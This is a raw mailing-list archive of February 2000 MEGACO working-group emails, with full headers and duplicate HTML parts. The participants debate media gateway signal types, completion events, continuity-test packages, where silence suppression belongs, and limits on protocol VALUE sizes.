Content-Type: text/html;
        charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable






RE: Cisco SG16: Signals Operation




OK, let's sum up, =
not that I'm confident that this will fly yet.  I'd like to see =
the reaction of a couple of other vocal parties -- say Michael Brown =
and Christian Groves.



We have three signal =
types with distinct roles:

  BR has a =
timer but is not interrupted by events.  It is interrupted by =
signal descriptor replacement.

  TO is the =
most interruptible: timer, events, signal descriptors.

  OO is the =
most persistent: interrupted by signal descriptors with explicit =
"Off" syntax only.

I assume we allow =
over-riding of default signal type in any given instance of =
playout.




The list is an =
interesting problem.  I think I have an answer to turning an OO =
list off, but now we also have to define behaviour in response to =
events.  We might consider the following rules:



 -- the type of =
the list is set explicitly -- every signal on the list with the =
possible exception of the last one must be either BR or TO, in order to =
have an assigned duration



 -- if the last =
event is OO, the list must be OO and vice versa 

 -- the type =
of the list, not the type of the signals making it up, determines the =
conditions under which playout of the list ceases



 -- the list =
times out if it is not OO and all of the signals on it have played out, =
each in turn to its full duration.





    

    -----Original Message-----

    From:   Flemming Andreasen =
[SMTP:fandreasen@WORLDNET.ATT.NET]

    Sent:   Friday, February 04, 2000 5:38 PM

    To:     MEGACO@STANDARDS.NORTELNETWORKS.COM

    Subject:       =
 Re: Cisco SG16: Signals =
Operation

    


    Maybe, but according to Brian's first =
"no-op" rule, it must be broken in order to get fixed :-) =


    


    Regarding dial-tone, I don't see the issue. =
What you have is three different signal types and three different =
semantics. Each has it's own time and place. In the case of dial-tone, =
TimeOut happens to be the one, not Brief. 
    


    -- Flemming
    
=A0     

    


    "Rosen, Brian" wrote: 

    

      

      =A0Let's see:=A0=A0=A0 Events stop signals =
except:=A0=A0=A0=A0=A0=A0=A0 When KeepActive is =
set=A0=A0=A0=A0=A0=A0=A0 If the signal is BR=A0=A0=A0=A0=A0=A0=A0 If =
the signal is OONet result - events stop signals only when TO and not =
KeepActive.Maybe we should have a "StopSignal", rather than a =
KeepActiveMaybe it happens so seldom that we use an embedded signals to =
do it.Also note that by saying BR doesn't stop for events, you twist =
the solution tofirst digit stops dialtone to a new level.Brian 
      

        

        -----Original =
Message-----
        
        From: Flemming Andreasen [ <mailto:fandreasen@WORLDNET.A=
TT.NET>]
        
        Sent: Friday, February 04, 2000 4:55 PM
        
        To: =
MEGACO@standards.nortelnetworks.com
        
        Subject: Re: =
Cisco SG16: Signals Operation
        
=A0        

        Hi Tom 

        


        OO signals should not be interrupted by an =
event, only the explicit "Off" syntax should have this effect =
(otherwise we are back to TO signals with indefinite duration, and =
semantically there's good use for something that stays active until =
explicitly told otherwise, e.g. consider message waiting indicator) =

        


        Regards 

        


        =A0=A0=A0=A0=A0=A0=A0 Flemming 

        


        Tom-PT Taylor wrote: 

        

          

          =A0 

          


          Digging through the =
accumulated mass of indented text and comments, I think I see two =
parties agreeing on the following points.=A0 Unfortunately experience =
tells me that as soon as we introduce a third party the agreements will =
vanish, but I'll record them here just in case a miracle =
happens. 
          


          1) BR signals have =
the following characteristics: duration is assumed to be known to the =
MG without explicit MGC input.=A0 Brian wants the ability to override =
duration, and I have no quarrel with that -- the only question is the =
exact mechanism.=A0 The second characteristic is that a BR signal is =
not terminated by the detection of an event.=A0 (But BR signals are =
still terminated by replacement of the Signals descriptor??=A0 Any =
objections here?) 
          


          2) TO signals seem =
to be fairly well understood. 

          


          3) OO signals have =
the following characteristics: they remain on until interrupted by =
detection of an event, or receipt of a Signals descriptor with explicit =
Off syntax.=A0 Brian's keyword syntax is probably acceptable.=A0 Brian =
has a query about signal lists.=A0 Is there something about this =
proposal that doesn't work given our current signal list =
text?
          


          4) Brian's proposals =
for completion events probably work for Chip and they work for me.=A0 =
To summarize: the current notifyCompletion parameter remains but its =
significance changes: it is a selector (Boolean, default FALSE) and =
does not actually arm reporting.=A0 There is a signal completion event =
which reports on the completion of any signal so flagged, with the =
identity of the signal as a reporting parameter.=A0 QUESTION: should =
KeepActive default to TRUE for this event?=A0 In any case, the signal =
completion event is invoked in the usual way, through an events =
descriptor. 
          


          Open issue: signal =
failures.=A0 The need for reports of such failures is real -- they do =
happen from time to time.=A0 They happen autonomously, which means we =
either have to have an error method (ServiceChange ?) or an event to =
report them.=A0 The key issue is whether you would need to know about =
ANY failure or only those of selected signals. 
          

    

    =A0

    




------_=_NextPart_001_01BF6F67.824E56F0--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb  4 19:16:34 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA13173
	for ; Fri, 4 Feb 2000 19:16:33 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.F8CA9060@standards.nortelnetworks.com>; Fri, 4 Feb 2000 19:13:51 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 26192 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 4 Feb 2000 19:12:19 -0500
Received: from smtprch1.nortel.com (192.135.215.14) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.C1B8F800@standards.nortelnetworks.com>; Fri, 4 Feb 2000
          19:12:19 -0500
Received: from zmers013 by smtprch1.nortel.com; Fri, 4 Feb 2000 18:13:24 -0600
Received: from zrchb213.us.nortel.com by zmers013; Fri, 4 Feb 2000 19:13:16
          -0500
Received: by zrchb213.us.nortel.com with Internet Mail Service (5.5.2448.0) id
          <1F2TLLVZ>; Fri, 4 Feb 2000 18:13:14 -0600
X-Mailer: Internet Mail Service (5.5.2448.0)
Message-ID:  
Date:         Fri, 4 Feb 2000 18:13:14 -0600
Reply-To: Tom-PT Taylor 
Sender: "Media Gateway Control (megaco)"
              
From: Tom-PT Taylor 
Subject:      Signalling Failure
X-To:         Brian Rosen ,
              Flemming Andreasen 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

I've solved the signalling failure problem, maybe.  I add a parameter to the
signal completion event indicating how the signal was terminated: timeout,
event, new signal descriptor, or failure.  The catch is that failures are
only reported for events for which notifyCompletion is TRUE.

Tom Taylor
Advisor -- Emerging Carrier IP Standards
E-mail: taylor@nortelnetworks.com (internally, Tom-PT Taylor)
Phone and FAX: +1 613 736 0961


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb  4 21:48:47 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA16552
	for ; Fri, 4 Feb 2000 21:48:46 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.3E458860@standards.nortelnetworks.com>; Fri, 4 Feb 2000 21:46:07 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 26407 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 4 Feb 2000 21:44:55 -0500
Received: from mtiwmhc03.worldnet.att.net by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1a) with SMTP id
          <0.12DA92B0@standards.nortelnetworks.com>; Fri, 4 Feb 2000 21:44:54
          -0500
Received: from worldnet.att.net ([12.78.106.15]) by mtiwmhc03.worldnet.att.net
          (InterMail v03.02.07.07 118-134) with ESMTP id
          <20000205024705.FJQF2478@worldnet.att.net>; Sat, 5 Feb 2000 02:47:05
          +0000
X-Mailer: Mozilla 4.61 [en] (Win98; I)
X-Accept-Language: en
MIME-Version: 1.0
References: 
Content-Type: multipart/alternative;
              boundary="------------4B63841A929D7D7368A9BC27"
Message-ID:  <389B8F81.B93241AC@worldnet.att.net>
Date:         Fri, 4 Feb 2000 21:48:33 -0500
Reply-To: Flemming Andreasen 
Sender: "Media Gateway Control (megaco)"
              
From: Flemming Andreasen 
Subject:      Re: Cisco SG16: Annex E comments
X-To:         Tom-PT Taylor 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

--------------4B63841A929D7D7368A9BC27
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi Tom

One comment below

-- Flemming

Tom-PT Taylor wrote:

>
>
> The following remain open items from Chip's original E-mail.
>
>      -----Original Message-----
>      From:   Chip Sharp [SMTP:chsharp@CISCO.COM]
>      Sent:   Tuesday, January 25, 2000 8:18 PM
>      [[TomT]]  snip
>
>      Section:        E.8
>      Category:       Technical
>      Issue:          The draft text specifies that the possible values
>      for the signals
>      are "q724" and that the MG figures out whether a 2-wire or 4-wire
>
>      continuity test is to be performed on the trunk in question.
>      First of all,
>      it is unclear how the MG determines precisely what continuity
>      test variant
>      to perform unless it is assumed that the MG is provisioned with
>      this
>      information, however this should not be a requirement. Secondly,
>      national
>      variants of continuity test procedures exist, and considering the
>      package
>      is a "basic continuity package" it should be possible to use this
>      package
>      without requiring support for Q.724 continuity test.
>      Proposal:       It is recommended, that the possible test values
>      are not
>      specified in this basic package, but that extension packages
>      define this
>      packages, similarly to the "tone generator" and "tone detection"
>      packages
>      defined in Annex E.1 and E.2
>
>      v13 Status:     OPEN. No relevant text changed.
>      [[TomT]]
>      The understanding in Redbank was that the proper continuity test
>      to apply would indeed be provisioned in the MG.  As I see it this
>      is really the best place for this information -- otherwise it
>      would have to be provisioned in the MGC.  In any event, it is
>      certainly workable as a v1 solution.
>
>      I know the Q.724 reference has been there all along, and I agree
>      that it should not be required that all MGs support it.  Chip's
>      proposal sounds reasonable.
>
>
>      [[TomT]]  snip
>
>      Section:        E.11.1
>      Category:       Technical
>      Issue:          The draft text specifies that "silence
>      suppression" is a property
>      of the DS0 package. However silence suppression relates to the
>      encoding
>      method and as such should be a property of each packet based
>      termination.
>      For example, if a three-way call is established with one DS0
>      termination,
>      and two RTP terminations, it is conceivable that one of the RTP
>      terminations would like to use silence suppression while the
>      other would
>      not (or cannot for that matter as not all codecs support silence
>      suppression).
>      Proposal:       It is recommended that the "silence suppression"
>      property is
>      moved from the DS0 package to the "network package"
>
>      v13 Status:     SEMI-OPEN. Silence suppression has been removed,
>      but it has not
>      been added anywhere else (except for Annex C.1 which defines it
>      as a
>      General Media Attribute).
>
>      [[TomT]]  Yes, guess we need it.  I assume it's a property to go
>      into LocalControl -- the far end doesn't need to know about it in
>      advance.  Am I wrong?
>

No, I think you have a point here. It's not a general network property
but a codec property, and consequently it shouldn't be in the "network
package". Come to think of it, "Local" rather than "LocalControl" would
seem the best fit, but not quite sure what that would look like in SDP.

>
>
>      Support NetAid!  http://www.netaid.org
>      --------------------------------------------------
>      Chip Sharp                 Consulting Engineering
>      Cisco Systems              Telco Bio-region
>      Reality - Love it or Leave it.
>      --------------------------------------------------
>
--
---------------------------------------
Flemming Andreasen
Cisco Systems
---------------------------------------


--------------4B63841A929D7D7368A9BC27
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit



Hi Tom

One comment below

-- Flemming

Tom-PT Taylor wrote:

 

The following
remain open items from Chip's original E-mail.

    -----Original Message-----

    From:  
Chip Sharp [SMTP:chsharp@CISCO.COM]

    Sent:  
Tuesday, January 25, 2000 8:18 PM

    [[TomT]] 
snip

    Section:       
E.8

    Category:      
Technical

    Issue:         
The draft text specifies that the possible values for the signals

    are "q724" and that the MG figures
out whether a 2-wire or 4-wire

    continuity test is to be performed
on the trunk in question. First of all,

    it is unclear how the MG determines
precisely what continuity test variant

    to perform unless it is assumed that
the MG is provisioned with this

    information, however this should not
be a requirement. Secondly, national

    variants of continuity test procedures
exist, and considering the package

    is a "basic continuity package" it
should be possible to use this package

    without requiring support for Q.724
continuity test.

    Proposal:      
It is recommended, that the possible test values are not

    specified in this basic package, but
that extension packages define this

    packages, similarly to the "tone generator"
and "tone detection" packages

    defined in Annex E.1 and E.2

    v13 Status:    
OPEN. No relevant text changed.

    [[TomT]]

    The understanding
in Redbank was that the proper continuity test to apply would indeed be
provisioned in the MG.  As I see it this is really the best place
for this information -- otherwise it would have to be provisioned in the
MGC.  In any event, it is certainly workable as a v1 solution.

    I know the Q.724
reference has been there all along, and I agree that it should not be required
that all MGs support it.  Chip's proposal sounds reasonable.

     

    [[TomT]] 
snip

    Section:       
E.11.1

    Category:      
Technical

    Issue:         
The draft text specifies that "silence suppression" is a property

    of the DS0 package. However silence
suppression relates to the encoding

    method and as such should be a property
of each packet based termination.

    For example, if a three-way call is
established with one DS0 termination,

    and two RTP terminations, it is conceivable
that one of the RTP

    terminations would like to use silence
suppression while the other would

    not (or cannot for that matter as
not all codecs support silence

    suppression).

    Proposal:      
It is recommended that the "silence suppression" property is

    moved from the DS0 package to the
"network package"

    v13 Status:    
SEMI-OPEN. Silence suppression has been removed, but it has not

    been added anywhere else (except for
Annex C.1 which defines it as a

    General Media Attribute).

    [[TomT]] 
Yes, guess we need it.  I assume it's a property to go into LocalControl
-- the far end doesn't need to know about it in advance.  Am I wrong?






No, I think you have a point here. It's not a general network property
but a codec property, and consequently it shouldn't be in the "network
package". Come to think of it, "Local" rather than "LocalControl" would
seem the best fit, but not quite sure what that would look like in SDP.



     

    Support NetAid!  http://www.netaid.org

    --------------------------------------------------

    Chip Sharp                
Consulting Engineering

    Cisco Systems             
Telco Bio-region

    Reality - Love it or Leave it.

    --------------------------------------------------





--

---------------------------------------

Flemming Andreasen

Cisco Systems

---------------------------------------

 

--------------4B63841A929D7D7368A9BC27--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb  4 21:58:40 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA16672
	for ; Fri, 4 Feb 2000 21:58:39 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.A4F877B0@standards.nortelnetworks.com>; Fri, 4 Feb 2000 21:56:09 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 26431 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 4 Feb 2000 21:54:54 -0500
Received: from smtprch1.nortel.com (192.135.215.14) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.7852B810@standards.nortelnetworks.com>; Fri, 4 Feb 2000
          21:54:54 -0500
Received: from zmers013 by smtprch1.nortel.com; Fri, 4 Feb 2000 20:56:42 -0600
Received: from zrtpd004.us.nortel.com (actually nrtpd004) by zmers013; Fri, 4
          Feb 2000 21:56:41 -0500
Received: by zrtpd004.us.nortel.com with Internet Mail Service (5.5.2448.0) id
          <1D5VC4WR>; Fri, 4 Feb 2000 21:56:42 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2448.0)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01BF6F84.A07876DE"
Message-ID:  
Date:         Fri, 4 Feb 2000 21:56:38 -0500
Reply-To: Tom-PT Taylor 
Sender: "Media Gateway Control (megaco)"
              
From: Tom-PT Taylor 
Subject:      Re: Cisco SG16: Annex E comments
X-To:         Flemming Andreasen 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BF6F84.A07876DE
Content-Type: text/plain

I don't think the SDP is too difficult -- I think there's even the odd
designbation of codec with silence suppression in RFC 1890.  If not, it can
be an attribute: a=fmtp: net/ss, for example, except that it shouldn't be in
net.

I'm more concerned at this point about what effect specifying silence
suppression is intended to have.  Does it tell the MG to expect comfort
noise in incoming packets, does it tell it to take out silence and replace
it with comfort noise in outgoing packets, or both?

> -----Original Message-----
> From: Flemming Andreasen [SMTP:fandreasen@worldnet.att.net]
> Sent: Friday, February 04, 2000 9:49 PM
>
>               [[TomT]]  snip
>
>               Section:        E.11.1
>       Category:       Technical
>       Issue:          The draft text specifies that "silence suppression"
> is a property
>       of the DS0 package. However silence suppression relates to the
> encoding
>       method and as such should be a property of each packet based
> termination.
>       For example, if a three-way call is established with one DS0
> termination,
>       and two RTP terminations, it is conceivable that one of the RTP
>       terminations would like to use silence suppression while the other
> would
>       not (or cannot for that matter as not all codecs support silence
>       suppression).
>       Proposal:       It is recommended that the "silence suppression"
> property is
>       moved from the DS0 package to the "network package"
>
>               v13 Status:     SEMI-OPEN. Silence suppression has been
> removed, but it has not
>       been added anywhere else (except for Annex C.1 which defines it as a
>
>       General Media Attribute).
>
>               [[TomT]]  Yes, guess we need it.  I assume it's a property
> to go into LocalControl -- the far end doesn't need to know about it in
> advance.  Am I wrong?
>
>
> No, I think you have a point here. It's not a general network property but
> a codec property, and consequently it shouldn't be in the "network
> package". Come to think of it, "Local" rather than "LocalControl" would
> seem the best fit, but not quite sure what that would look like in SDP.
>
>
>
>               Support NetAid!  
>       --------------------------------------------------
>       Chip Sharp                 Consulting Engineering
>       Cisco Systems              Telco Bio-region
>       Reality - Love it or Leave it.
>       --------------------------------------------------
>
> --
> ---------------------------------------
> Flemming Andreasen
> Cisco Systems
> ---------------------------------------
>

------_=_NextPart_001_01BF6F84.A07876DE
Content-Type: text/html;
        charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable






RE: Cisco SG16: Annex E comments




I don't think the =
SDP is too difficult -- I think there's even the odd designbation of =
codec with silence suppression in RFC 1890.  If not, it can be an =
attribute: a=3Dfmtp: net/ss, for example, except that it shouldn't be =
in net.



I'm more concerned =
at this point about what effect specifying silence suppression is =
intended to have.  Does it tell the MG to expect comfort noise in =
incoming packets, does it tell it to take out silence and replace it =
with comfort noise in outgoing packets, or both?


    

    -----Original Message-----

    From:   Flemming Andreasen =
[SMTP:fandreasen@worldnet.att.net]

    Sent:   Friday, February 04, 2000 9:49 PM

    

      

              [[TomT]]=A0 snip 

      


              Section:=A0=A0=A0=A0=A0=A0=A0 E.11.1
      
      Category:=A0=A0=A0=A0=A0=A0 =
Technical
      
      Issue:=A0=A0=A0=A0=A0=A0=A0=A0=A0 =
The draft text specifies that "silence suppression" is a =
property
      
      of the DS0 package. However =
silence suppression relates to the encoding
      
      method and as such should be a =
property of each packet based termination.
      
      For example, if a three-way call =
is established with one DS0 termination,
      
      and two RTP terminations, it is =
conceivable that one of the RTP
      
      terminations would like to use =
silence suppression while the other would
      
      not (or cannot for that matter as =
not all codecs support silence
      
      suppression).
      
      Proposal:=A0=A0=A0=A0=A0=A0 It is =
recommended that the "silence suppression" property =
is
      
      moved from the DS0 package to the =
"network package" 

      


              v13 Status:=A0=A0=A0=A0 SEMI-OPEN. Silence suppression =
has been removed, but it has not
      
      been added anywhere else (except =
for Annex C.1 which defines it as a
      
      General Media =
Attribute). 

      


              [[TomT]]=A0 Yes, guess we need it.=A0 I assume it's a property to =
go into LocalControl -- the far end doesn't need to know about it in =
advance.=A0 Am I wrong?
      

      

    

    No, I think you have a point here. It's not a =
general network property but a codec property, and consequently it =
shouldn't be in the "network package". Come to think of it, =
"Local" rather than "LocalControl" would seem the =
best fit, but not quite sure what that would look like in SDP. =

    

      

              =A0 =


      


              Support NetAid!=A0 <http://www.netaid.org>
      
      --------------------------------------------------=

      
      Chip =
Sharp=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0 Consulting =
Engineering
      
      Cisco =
Systems=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0 Telco =
Bio-region
      
      Reality - Love it or Leave =
it.
      
      --------------------------------------------------=


      

    

    --
    
---------------------------------------
    
Flemming Andreasen
    
Cisco Systems
    
---------------------------------------
    
=A0    

    




------_=_NextPart_001_01BF6F84.A07876DE--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Sat Feb  5 01:52:08 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA22589
	for ; Sat, 5 Feb 2000 01:52:08 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.3D551570@standards.nortelnetworks.com>; Sat, 5 Feb 2000 1:49:29 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 26683 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Sat, 5 Feb 2000 01:48:03 -0500
Received: from ws9.cdotb.ernet.in (202.41.72.121) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.A3513F40@standards.nortelnetworks.com>; Sat, 5 Feb 2000 1:38:01
          -0500
Received: from jnana.cdotb.ernet.in (ws61 [202.41.72.173]) by
          ws9.cdotb.ernet.in (8.9.3/8.9.3) with ESMTP id MAA14902 for
          ; Sat, 5 Feb 2000 12:09:18 +0500
          (GMT+0500)
Received: from cdotb.ernet.in by jnana.cdotb.ernet.in
          (8.8.8/1.1.22.3/14Dec99-1056AM) id MAA0000025438; Sat, 5 Feb 2000
          12:06:24 +0500 (GMT+0500)
X-Mailer: Mozilla 4.61 [en] (X11; I; Linux 2.2.12-20 i586)
X-Accept-Language: en
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="------------3FC931E0C3CFF0C52D63364D"
Message-ID:  <389BC5B3.C2A97726@cdotb.ernet.in>
Date:         Sat, 5 Feb 2000 12:09:47 +0530
Reply-To: titty@CDOTB.ERNET.IN
Sender: "Media Gateway Control (megaco)"
              
From: Titty Thomas 
Organization: Centre for Development of Telematics
Subject:      About Megaco Message Parser
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This is a multi-part message in MIME format.
--------------3FC931E0C3CFF0C52D63364D
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi all

    I have read the Megaco Protocol Sep 21, 99 Draft and have some
doubts about it.

1. Can Megaco be used for an implementation currently?.
2. Are there any reference implementations available?.

About Megaco Message Parsing.
1. Do we need to use lex/yacc or can we do it with any other simple
mechanism.
2. Also for embedded systems how will we do it.

Do we need to do both binary and text encoding of the protocol.

Thanks,
    Titty.

--------------3FC931E0C3CFF0C52D63364D
Content-Type: text/x-vcard; charset=us-ascii;
 name="titty.vcf"
Content-Description: Card for Titty Thomas
Content-Disposition: attachment;
 filename="titty.vcf"
Content-Transfer-Encoding: 7bit

begin:vcard
n:Thomas;Titty
x-mozilla-html:FALSE
org:Centre for Development of Telematics;Internet Telephony Group
adr:;;;;;;
version:2.1
email;internet:titty@cdotb.ernet.in
x-mozilla-cpt:;-4416
fn:Titty Thomas
end:vcard

--------------3FC931E0C3CFF0C52D63364D--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Sun Feb  6 09:50:44 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA09517
	for ; Sun, 6 Feb 2000 09:50:44 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.38634930@standards.nortelnetworks.com>; 6 Feb 2000 9:47:45 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 27506 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Sun, 6 Feb 2000 09:46:13 -0500
Received: from hubbub.cisco.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.016252A0@standards.nortelnetworks.com>; 6 Feb 2000 9:46:13 -0500
Received: from ORANLT ([171.69.210.5]) by hubbub.cisco.com
          (8.8.5-Cisco.2-SunOS.5.5.1.sun4/CISCO.GATE.1.1) with SMTP id GAA03208
          for ; Sun, 6 Feb 2000 06:48:26
          -0800 (PST)
MIME-Version: 1.0
Content-Type: multipart/alternative;
              boundary="----=_NextPart_000_0092_01BF7087.50359D10"
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
Message-ID:  
Date:         Sun, 6 Feb 2000 09:48:25 -0500
Reply-To: David Oran 
Sender: "Media Gateway Control (megaco)"
              
From: David Oran 
Subject:      Re: maximum size of a VALUE
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
In-Reply-To:  

This is a multi-part message in MIME format.

------=_NextPart_000_0092_01BF7087.50359D10
Content-Type: text/plain;
        charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

RE: maximum size of a VALUEA small point, but a large number of messages has
not in practice been as big a threat as oversized messages, because of the
pernicious nature of buffer-overflow bugs in numerous implementations of
numerous protocols. However, just writing words in a standard limiting the
size of something is actually worse than writing nothing - implementers
might naively believe that the limits are observed, hence opening the barn
doors for the malicious to send something bigger. If you want to limit
something in a pragmatically useful way, limit the size of the length field
that describes it in the protocol if a binary protocol, and make the limit a
power of 10 in a text protocol. Unfortunately, thise two techniques conflict
:-) and don't confer much protection anyway.

Dave.
  -----Original Message-----
  From: Media Gateway Control (megaco)
[mailto:MEGACO@STANDARDS.NORTELNETWORKS.COM]On Behalf Of Tom-PT Taylor
  Sent: Thursday, February 03, 2000 1:26 PM
  To: MEGACO@STANDARDS.NORTELNETWORKS.COM
  Subject: Re: maximum size of a VALUE


  Your security argument presumably applies to messages from the MG, which
is the end which might be in the hands of an user (e.g. a residential
gateway).  I think there is a more general issue here -- even without large
message sizes, the MG could emit a large number of individual messages if it
wants to flood the MGC.  We may want an implementation note that the MGC be
able to defend itself from such attacks, but I don't think we should limit
the protocol just for this reason.

  I'd say at this point that we should raise the limit.  As a precedent,
here is what SIP (RFC 2543) has to say:

     Unlike HTTP, SIP MAY use UDP. When sent over TCP or UDP, multiple SIP
     transactions can be carried in a single TCP connection or UDP
     datagram. UDP datagrams, including all headers, SHOULD NOT be larger
     than the path maximum transmission unit (MTU) if the MTU is known, or
     1500 bytes if the MTU is unknown.



    -----Original Message-----
    From:   Rayhan, Abdallah [CAR:5N00:EXCH]
[SMTP:arayhan@americasm01.nt.com]
    Sent:   Thursday, February 03, 2000 10:07 AM
    To:     Taylor, Tom-PT (P.T.) [EXCHANGE:CAR:B904]
    Cc:     MEGACO@STANDARDS.NORTELNETWORKS.COM
    Subject:        Re: maximum size of a VALUE


    Not too fast. I believe couple of the issues were considered when 64 was
    decided; efficiency and security. We dont have max msg size restriction.
A
    user could cause buffering flooding intentionally if VALUE is huge, not
to
    mention parsing a msg with huge VALUEs. This could reduce the efficiency
    dramatically. Also, what if VALUE is used to pass malicious code through
    a firewall. If VALUE is unlimited, we could be jeopardizing security. If
64 is
    too small we could increase it to 128 or 256 but not unlimited.

    Abdallah Rayhan

    "Taylor, Tom-PT (P.T.) [EXCHANGE:CAR:B904]" wrote:



      Looks like a good one for "errata".

              -----Original Message-----
      From:   Steven Magnell [SMTP:magnells@DIALOGIC.COM]
      Sent:   Wednesday, February 02, 2000 7:20 PM
      To:     MEGACO@STANDARDS.NORTELNETWORKS.COM
      Subject:        maximum size of a VALUE

              This may be minor compared to other issues, but it seems that
the maximum
      size of a VALUE is 64 characters (not including quotes) in the ABNF
syntax.
      It should be larger, perhaps arbitrary. The ASN.1 definition of Value
does
      not have this limitation.

              While this does not seem to be a concern with the basic
packages, looking
      ahead to upcoming packages such as the display and text telephone
packages
      in the otherpkgs draft and the cromwell ARF draft, there is a need to
      support longer strings. The text telephone package, for example,
defines
      string parameters with a maximum of 256 characters and the others have
      strings of arbitrary length where some larger string, such as a
display or
      text-to-speech announcement, would certainly be reasonable.

              steve magnell


------=_NextPart_000_0092_01BF7087.50359D10
Content-Type: text/html;
        charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable


RE: maximum size of a VALUE




A=20
small point, but a large number of messages has not in practice been as =
big a=20
threat as oversized messages, because of the pernicious nature of=20
buffer-overflow bugs in numerous implementations of numerous protocols. =
However,=20
just writing words in a standard limiting the size of something is =
actually=20
worse than writing nothing - implementers might naively believe that the =
limits=20
are observed, hence opening the barn doors for the malicious to send =
something=20
bigger. If you want to limit something in a pragmatically useful way, =
limit=20
the size of the length field that describes it in the protocol if a =
binary=20
protocol, and make the limit a power of 10 in a text protocol. =
Unfortunately,=20
thise two techniques conflict :-) and don't confer much protection=20
anyway.


 


Dave.


  
-----Original Message-----
From: Media Gateway =
Control=20
  (megaco) [mailto:MEGACO@STANDARDS.NORTELNETWORKS.COM]On Behalf Of=20
  Tom-PT Taylor
Sent: Thursday, February 03, 2000 1:26=20
  PM
To: =
MEGACO@STANDARDS.NORTELNETWORKS.COM
Subject: Re:=20
  maximum size of a VALUE


  
Your security argument =
presumably=20
  applies to messages from the MG, which is the end which might be in =
the hands=20
  of an user (e.g. a residential gateway).  I think there is a more =
general=20
  issue here -- even without large message sizes, the MG could emit a =
large=20
  number of individual messages if it wants to flood the MGC.  We =
may want=20
  an implementation note that the MGC be able to defend itself from such =

  attacks, but I don't think we should limit the protocol just for this=20
  reason.

  
I'd say at this point =
that we should=20
  raise the limit.  As a precedent, here is what SIP (RFC 2543) has =
to=20
  say: 

  
   Unlike HTTP, SIP =
MAY use UDP.=20
  When sent over TCP or UDP, multiple SIP 
   transactions can be carried in a single TCP =
connection or=20
  UDP 
   =
datagram. UDP=20
  datagrams, including all headers, SHOULD NOT be larger =

   than the path maximum =
transmission unit=20
  (MTU) if the MTU is known, or 
   1500 bytes if the MTU is unknown. =



  
    
    
    -----Original Message----- =

    From:   Rayhan, Abdallah [CAR:5N00:EXCH]=20
